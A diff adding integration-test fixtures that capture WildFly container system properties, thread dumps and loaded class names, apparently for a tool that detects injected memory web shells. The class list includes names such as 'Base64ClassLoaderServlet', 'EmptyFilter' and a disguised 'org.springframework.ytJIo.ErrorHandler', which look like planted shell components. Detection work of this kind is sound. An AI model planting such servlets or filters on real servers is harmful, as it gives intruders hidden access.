org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"default I/O-1" #107 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 22" #47 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"Periodic Recovery" #135 [TIMED_WAITING] on java.lang.Object@59cfa426 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doBackoffWait(PeriodicRecovery.java:668) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.doWorkInternal(PeriodicRecovery.java:786) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery.run(PeriodicRecovery.java:382) + +"ServerService Thread Pool -- 33" #58 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 11" #36 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 66" #96 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-21" #127 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"XNIO-1 Accept" #134 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 18" #43 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 17" #42 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 57" #84 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 63" #91 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 51" #78 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.arjuna.ats.arjuna.coordinator.TransactionReaper +com.arjuna.ats.internal.arjuna.coordinator.ReaperThread +com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread +com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor +com.arjuna.ats.internal.arjuna.recovery.PeriodicRecovery +io.undertow.security.handlers.AbstractConfidentialityHandler +io.undertow.security.handlers.AbstractSecurityContextAssociationHandler +io.undertow.security.handlers.AuthenticationMechanismsHandler +io.undertow.security.handlers.NotificationReceiverHandler +io.undertow.server.Connectors +io.undertow.server.HttpServerExchange$1 +io.undertow.server.handlers.PredicateHandler +io.undertow.servlet.core.ContextClassLoaderSetupAction$1 +io.undertow.servlet.core.ManagedFilter +io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1 +io.undertow.servlet.handlers.FilterHandler +io.undertow.servlet.handlers.FilterHandler$FilterChainImpl +io.undertow.servlet.handlers.RedirectDirHandler +io.undertow.servlet.handlers.ServletChain$1 +io.undertow.servlet.handlers.ServletDispatchingHandler +io.undertow.servlet.handlers.ServletHandler +io.undertow.servlet.handlers.ServletInitialHandler +io.undertow.servlet.handlers.ServletInitialHandler$1 +io.undertow.servlet.handlers.ServletInitialHandler$2 +io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler +io.undertow.servlet.handlers.security.SSLInformationAssociationHandler +io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler +io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler +io.undertow.servlet.handlers.security.ServletSecurityRoleHandler +io.undertow.servlet.spec.ServletPrintWriter +io.undertow.servlet.spec.ServletPrintWriterDelegate +org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner +org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner +org.jboss.modules.ref.References$ReaperThread +org.jboss.threads.ContextClassLoaderSavingRunnable +org.jboss.threads.EnhancedQueueExecutor +org.jboss.threads.EnhancedQueueExecutor$ThreadBody +org.jboss.threads.JBossThread +org.springframework.ytJIo.ErrorHandler +org.wildfly.clustering.service.concurrent.ClassLoaderThreadFactory +org.wildfly.clustering.service.concurrent.ClassLoaderThreadFactory$$Lambda$872/0x0000000840b96840 +org.wildfly.common.ref.References$ReaperThread +org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction +org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda$900/0x0000000840bcfc40 +org.wildfly.extension.undertow.security.SecurityContextAssociationHandler +org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction +org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction$$Lambda$899/0x0000000840bcf840 +org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler +org.xnio.nio.WorkerThread diff --git a/integration-test/src/test/resources/infos/Wildfly23ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Wildfly23ContainerTestBasicInfo.txt new file mode 100644 index 00000000..c0c7dabb --- /dev/null +++ b/integration-test/src/test/resources/infos/Wildfly23ContainerTestBasicInfo.txt @@ -0,0 +1,1380 @@ +# Generated At 2025-08-10 15:06:29 +SystemProps: +[Standalone]: +awt.toolkit: sun.awt.X11.XToolkit +java.specification.version: 11 +sun.cpu.isalist: +logging.configuration: file:/opt/jboss/wildfly/standalone/configuration/logging.properties +sun.jnu.encoding: ANSI_X3.4-1968 +java.class.path: /opt/jboss/wildfly/jboss-modules.jar +jboss.server.deploy.dir: /opt/jboss/wildfly/standalone/data/content +java.vm.vendor: Oracle Corporation +sun.arch.data.model: 64 +org.jboss.resolver.warning: true +java.vendor.url: https://openjdk.java.net/ +user.timezone: UTC +os.name: Linux +java.vm.specification.version: 11 +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /usr/lib/jvm/java-11-openjdk-11.0.8.10-0.el7_8.x86_64/lib +sun.java.command: /opt/jboss/wildfly/jboss-modules.jar -mp /opt/jboss/wildfly/modules org.jboss.as.standalone -Djboss.home.dir=/opt/jboss/wildfly -Djboss.server.base.dir=/opt/jboss/wildfly/standalone -b 0.0.0.0 +jdk.debug: release +sun.cpu.endian: little +jboss.server.config.dir: /opt/jboss/wildfly/standalone/configuration +user.home: /opt/jboss +user.language: en +java.specification.vendor: Oracle Corporation +jboss.qualified.host.name: 7fa3a6e4ee66 +java.naming.factory.url.pkgs: org.jboss.as.naming.interfaces +java.version.date: 2020-07-14 +java.home: /usr/lib/jvm/java-11-openjdk-11.0.8.10-0.el7_8.x86_64 +file.separator: / +jboss.server.persist.config: true +java.vm.compressedOopsMode: 32-bit +line.separator: + +jboss.server.data.dir: /opt/jboss/wildfly/standalone/data +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +jboss.server.base.dir: /opt/jboss/wildfly/standalone +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.awt.headless: true +org.apache.xml.security.ignoreLineBreaks: true +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.vfs.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 11.0.8+10-LTS +user.name: jboss +java.net.preferIPv4Stack: true +jboss.home.dir: /opt/jboss/wildfly +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: ANSI_X3.4-1968 +sun.nio.ch.bugLevel: +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: 18.9 +java.security.auth.login.config: jar:file:/opt/jboss/wildfly/modules/system/layers/base/org/picketbox/main/picketbox-5.0.3.Final-redhat-00007.jar!/auth.conf +java.vendor.url.bug: https://bugreport.java.com/bugreport/ +jboss.server.log.dir: /opt/jboss/wildfly/standalone/log +java.io.tmpdir: /tmp +org.jboss.boot.log.file: /opt/jboss/wildfly/standalone/log/server.log +jboss.modules.system.pkgs: org.jboss.byteman +java.version: 11.0.8 +user.dir: /opt/jboss +os.arch: amd64 +java.vm.specification.name: Java Virtual Machine Specification +javax.management.builder.initial: org.jboss.as.jmx.PluggableMBeanServerBuilder +java.awt.printerjob: sun.print.PSPrinterJob +jboss.bind.address: 0.0.0.0 +jboss.host.name: 7fa3a6e4ee66 +sun.os.patch.level: unknown +org.jboss.security.context.ThreadLocal: true +java.util.logging.manager: org.jboss.logmanager.LogManager +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +module.path: /opt/jboss/wildfly/modules +jboss.server.name: 7fa3a6e4ee66 +java.vm.info: mixed mode, sharing +java.vendor: N/A +jboss.modules.dir: /opt/jboss/wildfly/modules +java.vm.version: 11.0.8+10-LTS +sun.io.unicode.encoding: UnicodeLittle +jboss.server.temp.dir: /opt/jboss/wildfly/standalone/tmp +jboss.node.name: 7fa3a6e4ee66 +java.class.version: 55.0 + +=========================================== + +ThreadStacks: +"default I/O-4" #112 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 74" #104 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 37" #62 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default Accept" #131 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 80" #153 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"management I/O-1" #83 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"management I/O-2" #86 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 30" #55 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 13" #38 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 72" #102 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 42" #69 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-14" #122 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"default I/O-21" #129 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 18" #43 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 43" #70 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"Reference Reaper" #12 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1af06e6c + java.lang.Thread.State: WAITING + at java.base@11.0.8/java.lang.Object.wait(Native Method) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.8/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at app//org.jboss.modules.ref.References$ReaperThread.run(References.java:64) + +"ServerService Thread Pool -- 45" #72 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 85" #154 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default task-1" #155 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@a2d7390 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at org.jboss.xnio@3.8.4.Final//org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1280) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"default I/O-15" #123 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 68" #98 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6d6562fd + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"RxCachedWorkerPoolEvictor-1" #146 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30bae044 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.8/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.8/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.8/java.lang.Thread.run(Thread.java:834) + +"default I/O-10" #118 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.8/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.8/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.8/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.8.4.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 41" #68 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@768e1e24 + java.lang.Thread.State: WAITING + at java.base@11.0.8/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.8/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.8/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.8/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at 